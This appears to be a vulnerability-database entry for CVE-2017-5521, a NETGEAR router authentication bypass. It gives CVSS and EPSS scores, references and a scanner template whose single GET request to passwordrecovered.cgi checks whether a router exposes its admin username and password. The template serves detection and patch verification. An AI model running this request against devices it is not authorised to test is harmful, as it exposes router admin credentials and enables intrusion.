CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.9%
NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
id: CVE-2017-5521
info:
name: NETGEAR Routers - Authentication Bypass
author: princechaddha
severity: high
description: |
NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.
remediation: |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
reference:
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
- http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2017-5521
- https://www.exploit-db.com/exploits/41205/
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2017-5521
cwe-id: CWE-200
epss-score: 0.97402
epss-percentile: 0.99921
cpe: cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: netgear
product: r6200_firmware
tags: cve,cve2017,auth-bypass,netgear,router,kev
http:
- method: GET
path:
- "{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "right\">Router\\s*Admin\\s*Username<"
- "right\">Router\\s*Admin\\s*Password<"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022059065c5c9ba92a40e10293914467e7965bbb2954d0bb893d401c3154c1d6eb5d022100b85fa32ba119c6b5a80ed29385a4e05c8c072b17d9dd11e9812bd4a8974b0953:922c64590222798bb761d5b6d8e72950
kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
github.com/Ostorlab/known_exploited_vulnerbilities_detectors
nvd.nist.gov/vuln/detail/CVE-2017-5521
www.exploit-db.com/exploits/41205/
www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.9%